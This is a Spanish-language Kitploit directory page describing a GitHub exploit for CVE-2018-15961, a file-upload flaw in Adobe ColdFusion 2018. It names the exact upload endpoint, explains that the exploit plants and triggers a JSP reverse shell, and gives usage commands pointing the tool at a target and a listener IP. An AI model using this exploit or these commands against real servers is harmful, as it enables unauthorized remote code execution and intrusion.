Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2018-15961 — Exploit para CVE-2018-15961, una vulnerabilidad de carga de archivos sin restricciones en Adobe ColdFusion 2018 que conduce a RCE | Kitploit
Herramientas/GitHubGitHub/xbufu/cve-2018-15961
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de Penetración
GitHubxbufu/cve-2018-15961

CVE-2018-15961

Exploit para CVE-2018-15961, una vulnerabilidad de carga de archivos sin restricciones en Adobe ColdFusion 2018 que conduce a RCE

Ver Repositorio
34hace 5 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2018-15961 - Adobe ColdFusion 2018 RCE

Este repositorio contiene mi código de exploit para la vulnerabilidad RCE en Adobe ColdFusion 2018.

Descripción del Exploit

El exploit envía una solicitud POST que contiene una reverse shell JSP a /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm. Si tiene éxito, esto sube la shell a /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/shell.jsp. Luego, el código activa la shell enviando una simple solicitud GET.

Uso

root@kitploit:~
# Basic usage
python3 coldfusion_rce.py -u http://172.31.1.15:8500 -l 10.10.0.25 -p 443

# With custom filename for the shell
python3 coldfusion_rce.py -u http://172.31.1.15:8500 -l 10.10.0.25 -p 443 -f reverse.jsp
Descargar herramienta